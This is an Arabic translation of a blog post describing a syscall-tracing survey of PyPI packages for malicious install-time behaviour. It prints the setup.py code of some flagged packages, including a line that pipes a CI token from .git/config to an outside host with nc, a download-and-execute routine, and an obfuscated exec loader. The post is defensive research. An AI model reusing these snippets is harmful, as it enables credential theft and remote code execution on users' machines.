تحقق من آلاف حزم PyPI بحثًا عن البرامج الضارة

منذ حوالي عام ، فتحت مؤسسة Python Software Foundation طلب معلومات (RFI) لمناقشة كيفية اكتشاف الحزم الخبيثة التي تم تحميلها إلى PyPI. من الواضح أن هذه مشكلة حقيقية تؤثر على أي مدير حزم تقريبًا: اختطاف أسماء الحزم التي تخلى عنها المطورون ، أو استغلال الأخطاء المطبعية في أسماء المكتبات الشعبية ، أو سرقة الحزم عن طريق حزم بيانات الاعتماد .



الحقيقة هي أن مديري الحزم مثل PyPI هم بنية تحتية مهمة تستخدمها كل شركة تقريبًا. يمكنني أن أكتب الكثير عن هذا الموضوع ، لكن هذا الإصدار من xkcd سيكون كافياً في الوقت الحالي.











مجال المعرفة هذا مثير للاهتمام بالنسبة لي ، لذلك أجبت بأفكاري حول كيفية التعامل مع حل المشكلة. المنشور بأكمله يستحق القراءة ، لكن فكرة واحدة لم تتركني وشأني: ما يحدث فور تثبيت الحزمة. يجب دائمًا عرض



الإجراءات مثل إعداد اتصالات الشبكة أو تنفيذ الأوامر أثناء العملية pip install



بحذر ، حيث إنها لا تمنح المطور أي طريقة تقريبًا لفحص الكود قبل حدوث شيء سيء.



أردت التعمق في هذه المسألة ، لذا سأشرح في هذا المنشور كيف قمت بتثبيت وتحليل كل حزمة PyPI بحثًا عن نشاط ضار.



كيف تجد المكتبات الخبيثة



يضيف المؤلفون عادةً رمزًا إلى ملف setup.py



الحزمة الخاص بهم لتنفيذ أوامر عشوائية أثناء التثبيت . يمكن رؤية الأمثلة في هذا المستودع .



على مستوى عالٍ ، للعثور على تبعيات قد تكون ضارة ، يمكننا القيام بأمرين: إلقاء نظرة على التعليمات البرمجية للأشياء السيئة (التحليل الثابت) ، أو المخاطرة وتثبيتها فقط لمعرفة ما سيحدث (التحليل الديناميكي).



على الرغم من أن التحليل الثابت مثير جدًا للاهتمام (بفضل grep



أنني وجدت حزمًا ضارة حتى في npm ) ، سأغطي في هذا المنشور التحليل الديناميكي. في النهاية ، أجد الأمر أكثر موثوقية ، لأننا نراقب ما يحدث بالفعل ، ولا نبحث فقط عن الأشياء غير السارة التي يمكن أن تحدث.



إذن ما الذي نبحث عنه؟



كيف يتم تنفيذ الإجراءات الهامة



بشكل عام ، عندما يحدث شيء مهم ، تتم العملية بواسطة النواة. البرامج العادية (على سبيل المثال pip



) التي تريد القيام بأشياء مهمة من خلال kernel تستخدم syscalls . فتح الملفات وإنشاء اتصالات الشبكة وتنفيذ الأوامر - كل هذا يتم من خلال مكالمات النظام!



يمكنك معرفة المزيد حول هذا من قصة Julia Evans المصورة :





هذا يعني أنه إذا تمكنا من مراقبة syscalls أثناء تثبيت حزمة Python ، فيمكننا معرفة ما إذا كان هناك شيء مريب. تتمثل ميزة هذا النهج في أنه لا يعتمد على درجة تشويش الشفرة - فنحن نرى بالضبط ما يحدث بالفعل.



من المهم أن نلاحظ أنه لم أكن أنا من ابتكر فكرة مشاهدة syscalls. يتحدث أشخاص مثل آدم بالدوين عن هذا منذ عام 2017 . بالإضافة إلى ذلك ، هناك مقال رائع نشره معهد جورجيا للتكنولوجيا والذي ، من بين أمور أخرى ، يتبع نفس النهج. بكل صدق ، سأحاول في هذا المنشور فقط إعادة إنتاج عملهم.



لذلك نحن نعلم أننا نريد تتبع عمليات المسح ، لكن كيف نفعل ذلك بالضبط؟



تتبع Syscalls مع Sysdig



هناك العديد من الأدوات المتاحة لمراقبة syscalls. بالنسبة لمشروعي ، استخدمت sysdig لأنه يوفر كلاً من الإخراج المنظم ووظائف التصفية المريحة.



لجعلها تعمل ، عندما أبدأ حاوية Docker التي تثبت الحزمة ، بدأت أيضًا عملية sysdig ، والتي تراقب فقط الأحداث من تلك الحاوية. لقد قمت أيضًا بتصفية عمليات القراءة / الكتابة على الشبكة من / إلى pypi.org



أو files.pythonhosted.com



، لأنني لم أرغب في تكديس السجلات بحركة المرور المتعلقة بتنزيلات الحزم.



بعد أن وجدت طريقة لاعتراض عمليات syscalls ، كان علي حل مشكلة أخرى: الحصول على قائمة بجميع حزم PyPI.



الحصول على حزم بايثون



لحسن الحظ بالنسبة لنا ، فإن PyPI لديها واجهة برمجة تطبيقات تسمى "Simple API" والتي يمكن اعتبارها أيضًا "صفحة HTML كبيرة جدًا بها ارتباط لكل حزمة" لأن هذا هو ما هو عليه. هذه صفحة بسيطة وأنيقة مكتوبة بلغة HTML عالية الجودة.



يمكنك أخذ هذه الصفحة وتحليل جميع الروابط مع المساعدة pup



، بعد تلقي حوالي 268 ألف حزمة:



❯ curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt               

❯ wc -l pypi_full.txt 
  268038 pypi_full.txt
      
      





بالنسبة لهذه التجربة ، سأكون مهتمًا فقط بأحدث إصدار من كل حزمة. هناك احتمال لوجود إصدارات ضارة من الحزم مدفونة في الإصدارات القديمة ، لكن فواتير AWS لن تدفع نفسها.



نتيجة لذلك ، انتهى بي الأمر بشيء مثل خط أنابيب المعالجة هذا:









باختصار ، نرسل اسم كل حزمة إلى مجموعة مثيلات EC2 (في المستقبل ، أود استخدام شيء مثل Fargate ، لكنني لا أعرف Fargate ، لذلك ...) ، الذي يحصل على البيانات الوصفية للحزمة من PyPI ، ثم يقوم بتشغيل sysdig. بالإضافة إلى مجموعة من الحاويات لتثبيت الحزمة من خلالها pip install



، أثناء جمع المعلومات حول المكالمات المرئية وحركة مرور الشبكة. ثم يتم نقل جميع البيانات إلى S3 حتى أتعامل معها.



هذا ما تبدو عليه العملية:









النتائج



بعد الانتهاء من العملية ، حصلت على حوالي تيرابايت من البيانات الموجودة في دلو S3 وتغطي حوالي 245 ألف حزمة. بعض الحزم لا تحتوي على إصدارات منشورة ، والبعض الآخر بها أخطاء معالجة مختلفة ، ولكن بشكل عام يبدو هذا نموذجًا رائعًا للعمل معه.



الآن بالنسبة للجزء الممتع: مجموعة من تحليل grep .



لقد جمعت البيانات الوصفية والمخرجات ، مما أدى إلى ظهور مجموعة من ملفات JSON التي تبدو كالتالي:



{
    "metadata": {},
    "output": {
        "dns": [],         // Any DNS requests made
        "files": [],       // All file access operations
        "connections": [], // TCP connections established
        "commands": [],    // Any commands executed
    }
}
      
      





ثم كتبت مجموعة من النصوص للبدء في جمع البيانات ، محاولًا معرفة ما هو غير ضار وما هو ضار. دعنا نستكشف بعض النتائج.



طلبات الشبكة



هناك العديد من الأسباب التي قد تجعل الحزمة تحتاج إلى إنشاء اتصال شبكة أثناء عملية التثبيت. ربما يحتاج إلى تنزيل ثنائيات أو موارد أخرى ، قد يكون نوعًا من التحليلات ، أو ربما يحاول استخراج البيانات أو المعلومات المحاسبية من النظام.



نتيجة لذلك ، اتضح أن 460 حزمة تنشئ اتصالات شبكة بـ 109 مضيفين فريدين. كما هو مذكور في المقالة المذكورة أعلاه ، يعود عدد قليل منها إلى حقيقة أن الحزم لها تبعية مشتركة تنشئ اتصالاً بالشبكة. يمكنك تصفيتها عن طريق مطابقة التبعيات ، لكني لم أفعل ذلك بعد.



وبتحليل مفصل لعمليات البحث DNS لوحظ أثناء التثبيت هنا .



تنفيذ الأمر



كما هو الحال مع اتصالات الشبكة ، يمكن أن يكون للحزم أسباب غير ضارة لتنفيذ أوامر النظام أثناء التثبيت. يمكن القيام بذلك لتجميع الثنائيات الأصلية ، وإعداد البيئة المطلوبة ، وما إلى ذلك.



عند فحص العينة الخاصة بنا ، تبين أن 60725 حزمة تنفذ أوامر أثناء التثبيت. وكما هو الحال مع اتصالات الشبكة ، ضع في اعتبارك أن العديد منها ناتج عن الاعتماد على الحزمة التي تنفذ الأوامر.



حزم مثيرة للاهتمام



بعد فحص النتائج ، بدت معظم اتصالات وأوامر الشبكة غير ضارة كما هو متوقع. لكن هناك العديد من حالات السلوك الغريب التي أردت الإشارة إليها من أجل إثبات فائدة هذا النوع من التحليل.



i-am-malicious





i-am-malicious



يبدو أن الحزمة المسماة عبارة عن مدقق مفهوم لحزمة ضارة. فيما يلي بعض التفاصيل المثيرة للاهتمام التي تعطينا فكرة أن هذه الحزمة تستحق التحقيق (إذا لم يكن اسمها كافياً بالنسبة لنا):



{
  "dns": [{
          "name": "gist.githubusercontent.com",
          "addresses": [
            "199.232.64.133"
          ]
    }]
  ],
  "files": [
    ...
    {
      "filename": "/tmp/malicious.py",
      "flag": "O_RDONLY|O_CLOEXEC"
    },
    ...
    {
      "filename": "/tmp/malicious-was-here",
      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
    },
    ...
  ],
  "commands": [
    "python /tmp/malicious.py"
  ]
}
      
      





نبدأ على الفور في فهم ما يحدث هنا. نرى الاتصال يجري gist.github.com



تنفيذ ملف Python وإنشاء ملف باسم /tmp/malicious-was-here



. بالطبع ، يحدث هذا على وجه التحديد في setup.py



:



from urllib.request import urlopen

handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
with open("/tmp/malicious.py", "wb") as fp:
    fp.write(handler.read())

import subprocess

subprocess.call(["python", "/tmp/malicious.py"])
      
      





malicious.py



يضيف الملف ببساطة /tmp/malicious-was-here



"لقد كنت هنا" إلى الرسالة ، ملمحًا إلى أن هذا بالفعل إثبات للمفهوم.



maliciouspackage





حزمة أخرى من البرامج الضارة ذاتية التصميم ، تحمل اسمًا مبتكرًا maliciouspackage



، هي أكثر ضارة قليلاً. ها هي نتاجه:



{
  "dns": [{
      "name": "laforge.xyz",
      "addresses": [
        "34.82.112.63"
      ]
  }],
  "files": [
    {
      "filename": "/app/.git/config",
      "flag": "O_RDONLY"
    },
  ],
  "commands": [
    "sh -c apt install -y socat",
    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
    "grep ci-token /app/.git/config",
    "nc laforge.xyz 5566"
  ]
}
      
      





كما في الحالة الأولى ، يعطينا هذا فكرة جيدة عما يجري. في هذا المثال ، تستخرج الحزمة الرمز المميز من الملف .git/config



وتحميله إلى laforge.xyz



. بالنظر إلى setup.py



، يمكننا أن نرى بالضبط ما يحدث:



...
import os
os.system('apt install -y socat')
os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')
      
      





easyIoCtl





الحزمة غريبة easyIoCtl



. تدعي أنها توفر "تجريدًا من الإدخال / الإخراج الممل" ، لكننا نرى الأوامر التالية يتم تنفيذها:



[
  "sh -c touch /tmp/testing123",
  "touch /tmp/testing123"
]
      
      





مريبة ولكنها ليست ضارة. ومع ذلك، وهذا هو الكمال مثال على قوة تتبع syscalls. إليك الكود ذي الصلة في setup.py



المشروع:



class MyInstall():
    def run(self):
        control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'
        control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]
        control_flow_guard_init = ""
        for controL_flow_code in control_flow_guard_mappers:
            control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]
        exec(control_flow_guard_init)
      
      





مع هذا المستوى من التشويش ، من الصعب فهم ما يحدث. يمكن للتحليل الساكن التقليدي تتبع المكالمة exec



، ولكن هذا يتعلق بها.



لرؤية ما يحدث، يمكننا استبدال exec



مع print



، والحصول على هذا:



import os;os.system('touch /tmp/testing123')
      
      





هذا هو الأمر الذي قمنا بتتبعه ، وهو يوضح أنه حتى التعتيم على الكود لا يؤثر على النتائج ، لأننا نتتبع على مستوى مكالمات النظام.



ماذا يحدث عندما نجد حزمة ضارة؟



يجدر وصف ما يمكننا فعله عندما نعثر على حزمة ضارة. تتمثل الخطوة الأولى في إبلاغ متطوعي PyPI حتى يتمكنوا من إزالة الحزمة. يمكنك القيام بذلك عن طريق الكتابة إلى security@python.org.



يمكنك بعد ذلك معرفة عدد مرات تنزيل هذه الحزمة باستخدام مجموعة البيانات العامة PyPI على BigQuery.



فيما يلي مثال على استعلام لمعرفة عدد مرات maliciouspackage



التنزيل في آخر 30 يومًا:



#standardSQL
SELECT COUNT(*) AS num_downloads
FROM `the-psf.pypi.file_downloads`
WHERE file.project = 'maliciouspackage'
  -- Only query the last 30 days of history
  AND DATE(timestamp)
    BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
    AND CURRENT_DATE()
      
      





يوضح تشغيل هذا الاستعلام أنه تم تنزيله أكثر من 400 مرة:









المضي قدما



حتى الآن ، نظرنا للتو إلى PyPI بشكل عام. بالنظر إلى البيانات ، لم أتمكن من العثور على حزم تؤدي إجراءات ضارة ذات مغزى ولا تحتوي على كلمة "ضارة" في الاسم. وهذا جيد! لكن هناك دائمًا احتمال أن أكون قد فاتني شيئًا ما ، أو قد يحدث في المستقبل. إذا كنت مهتمًا بالبيانات ، فيمكنك العثور عليها هنا .



لاحقًا ، سأكتب دالة lambda للحصول على أحدث تغييرات الحزمة باستخدام موجز RSS لـ PyPI. ستخضع كل حزمة محدثة لنفس المعالجة وترسل إشعارًا إذا تم اكتشاف نشاط مشبوه.



ما زلت لا أحب أنه من الممكن تنفيذ أوامر عشوائية على نظام المستخدم ببساطة عن طريق تثبيت الحزمة عبرpip install



... أدرك أن معظم حالات الاستخدام غير ضارة ، لكن هذا يفتح فرصًا للتهديد يجب أخذها في الاعتبار. نأمل ، من خلال تعزيز مراقبتنا لمختلف مديري الحزم ، يمكننا اكتشاف علامات النشاط الضار قبل أن يكون لها تأثير خطير.



وهذا الوضع لا يقتصر على PyPI وحدها. لاحقًا ، آمل أن أجري نفس التحليل لـ RubyGems و npm والمديرين الآخرين كما ذكر الباحثون أعلاه. يمكن العثور هنا على جميع الشفرات المستخدمة لإجراء التجربة . كالعادة ، إذا كان لديك أي أسئلة ، اسألهم !






إعلان



تقدم VDSina خوادم افتراضية لنظامي Linux و Windows - اختر أحد أنظمة التشغيل المثبتة مسبقًا ، أو قم بالتثبيت من صورتك.






All Articles